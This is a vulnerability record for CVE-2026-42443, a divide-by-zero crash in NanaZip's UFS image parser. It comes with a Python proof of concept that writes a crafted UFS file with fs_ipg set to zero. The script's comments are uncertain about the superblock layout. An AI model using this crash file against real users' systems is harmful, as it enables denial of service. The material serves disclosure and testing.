CVE-2026-42443

import struct def create_poc_ufs(filename): # UFS Superblock structure (simplified) # fs_ipg offset in UFS2 is typically around 0x70 # We create a dummy header and set fs_ipg to 0 data = bytearray(1024) # Create 1KB dummy file # Magic number for UFS (e.g., 0x19540119 for UFS1, 0x19540119 for UFS2 usually similar or distinct) # Just setting a generic header to pass initial checks if possible, or just the specific field. # For PoC demonstration, we focus on the specific crash field. # Offset for fs_ipg in UFS2 superblock is 0x70 (112 decimal) # Setting fs_ipg (4 bytes) to 0 fs_ipg_offset = 0x70 struct.pack_into('<I', data, fs_ipg_offset, 0) with open(filename, 'wb') as f: f.write(data) print(f'PoC file created: {filename}') print('Open this file with vulnerable NanaZip to trigger the crash.') if __name__ == '__main__': create_poc_ufs('crash.ufs')

{"cve": {"id": "CVE-2026-42443", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:41.520", "lastModified": "2026-05-13T16:26:29.697", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, an integer divide-by-zero exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS image where the superblock field fs_ipg (inodes per cylinder group) is set to zero. The parser uses this attacker-controlled value as a divisor without validation, causing an immediate hardware trap and process crash. This vulnerability is fixed in 6.0.1698.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "references": [{"url": "https://github.com/M2Team/NanaZip/security/advisories/GHSA-3x2h-gqqw-g3gm", "source": "[email protected]"}]}}